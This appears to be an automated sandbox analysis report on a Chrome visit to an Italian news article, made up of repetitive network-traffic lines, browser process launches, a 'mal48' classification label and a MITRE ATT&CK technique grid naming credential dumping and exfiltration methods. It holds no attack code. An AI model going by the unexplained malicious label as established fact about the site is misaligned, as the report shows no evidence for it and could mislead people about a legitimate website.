Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51209
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51200
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52531
Source: unknown	Network traffic detected: HTTP traffic on port 51396 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51204
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52535
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51201
Source: unknown	Network traffic detected: HTTP traffic on port 50374 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52532
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52533
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49986 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50861 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52276 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51254 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50620 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52314 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49799
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52549
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49798
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51219
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49797
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51216
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52547
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49796
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51217
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52548
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49795
Source: unknown	Network traffic detected: HTTP traffic on port 51384 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49794
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49793
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49792
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49791
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51210
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51211
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52542
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52540
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51214
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52545
Source: unknown	Network traffic detected: HTTP traffic on port 50897 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51215
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52546
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51212
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52543
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51213
Source: unknown	Network traffic detected: HTTP traffic on port 52212 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52544
Source: unknown	Network traffic detected: HTTP traffic on port 52149 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52579 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50923 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49884 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51815 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52441 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51127 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49789
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50777
Source: unknown	Network traffic detected: HTTP traffic on port 52162 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50779
Source: unknown	Network traffic detected: HTTP traffic on port 50911 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51140 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50778
Source: unknown	Network traffic detected: HTTP traffic on port 52592 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52047 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49859 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51266 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52288 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50771
Source: unknown	Network traffic detected: HTTP traffic on port 51025 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50775
Source: unknown	Network traffic detected: HTTP traffic on port 52477 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50350 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51701 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51372 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50607 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50362 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50788
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50787
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50789
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50780
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50782
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50781
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50784
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50783
Source: unknown	Network traffic detected: HTTP traffic on port 51806 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50786
Source: unknown	Network traffic detected: HTTP traffic on port 51139 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50785
Source: unknown	Network traffic detected: HTTP traffic on port 52150 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52580 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51498 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50476 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50799
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50798
Source: unknown	Network traffic detected: HTTP traffic on port 51360 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51790 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50791
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50790
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50793
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50792
Source: unknown	Network traffic detected: HTTP traffic on port 51245 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50795
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50794
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50797
Source: unknown	Network traffic detected: HTTP traffic on port 51675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50223 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50796
Source: unknown	Network traffic detected: HTTP traffic on port 51409 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52035 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49860 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51839 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51921 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50349 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52465 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51013 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52506
Source: unknown	Network traffic detected: HTTP traffic on port 49998 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52503
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52504
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52509
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52507
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52508
Source: unknown	Network traffic detected: HTTP traffic on port 50058 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50488 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51966 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50514 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50185 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51278 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51536 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51144
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52475
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51145
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52476
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51142
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52473
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51143
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52474
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51148
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52479
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52477
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51147
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52478
Source: unknown	Network traffic detected: HTTP traffic on port 51176 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51151
Source: unknown	Network traffic detected: HTTP traffic on port 52146 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51152
Source: unknown	Network traffic detected: HTTP traffic on port 52387 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52483
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52480
Source: unknown	Network traffic detected: HTTP traffic on port 50400 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51852 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52444 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51164 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52203 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52375 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50148 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52432 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51611 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51155
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52486
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51156
Source: unknown	Network traffic detected: HTTP traffic on port 51840 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52487
Source: unknown	Network traffic detected: HTTP traffic on port 50377 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51153
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52484
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51154
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52485
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51159
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51157
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52488
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51158
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51162
Source: unknown	Network traffic detected: HTTP traffic on port 51347 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52493
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51163
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52494
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51160
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52491
Source: unknown	Network traffic detected: HTTP traffic on port 49823 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50812 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51161
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52492
Source: unknown	Network traffic detected: HTTP traffic on port 50080 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50502 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52158 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52546 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52497
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51167
Source: unknown	Network traffic detected: HTTP traffic on port 52215 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51164
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52495
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52496
Source: unknown	Network traffic detected: HTTP traffic on port 51152 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51168
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51170
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51173
Source: unknown	Network traffic detected: HTTP traffic on port 51623 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51171
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51172
Source: unknown	Network traffic detected: HTTP traffic on port 49847 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51359 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51177
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51178
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51175
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51176
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51179
Source: unknown	Network traffic detected: HTTP traffic on port 50079 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50996 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50136 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51184
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51185
Source: unknown	Network traffic detected: HTTP traffic on port 51588 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51182
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51183
Source: unknown	Network traffic detected: HTTP traffic on port 49811 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50665 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52110 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51257 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50365 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52439
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51109
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52437
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52438
Source: unknown	Network traffic detected: HTTP traffic on port 50424 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51876 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51100
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52431
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51101
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52432
Source: unknown	Network traffic detected: HTTP traffic on port 50055 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52430
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51104
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52435
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51105
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52436
Source: unknown	Network traffic detected: HTTP traffic on port 52605 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50353 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52433
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51103
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52434
Source: unknown	Network traffic detected: HTTP traffic on port 50731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51942 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50161 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51323 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50848 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51119
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51117
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52448
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51118
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52449
Source: unknown	Network traffic detected: HTTP traffic on port 52109 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51111
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52442
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51112
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52440
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51110
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52441
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51115
Source: unknown	Network traffic detected: HTTP traffic on port 52087 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52446
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51116
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52447

Source: unknown	HTTPS traffic detected: 23.210.240.112:443 -> 192.168.2.4:49763 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.210.240.112:443 -> 192.168.2.4:49777 version: TLS 1.2

Source: classification engine

Classification label: mal48.win@101/1280@1162/100

Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2256 --field-trial-handle=2204,i,5822441980925942090,17870143398896516678,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://www.bsnews.it/2015/01/23/le-citta-piu-brutte-d-italia-brescia-al-nono-posto-in-classifica"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2256 --field-trial-handle=2204,i,5822441980925942090,17870143398896516678,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	1 Drive-by Compromise	Windows Management Instrumentation	1 Scripting	1 Process Injection	1 Process Injection	OS Credential Dumping	System Service Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	1 Extra Window Memory Injection	1 Obfuscated Files or Information	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	4 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	1 Extra Window Memory Injection	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	5 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
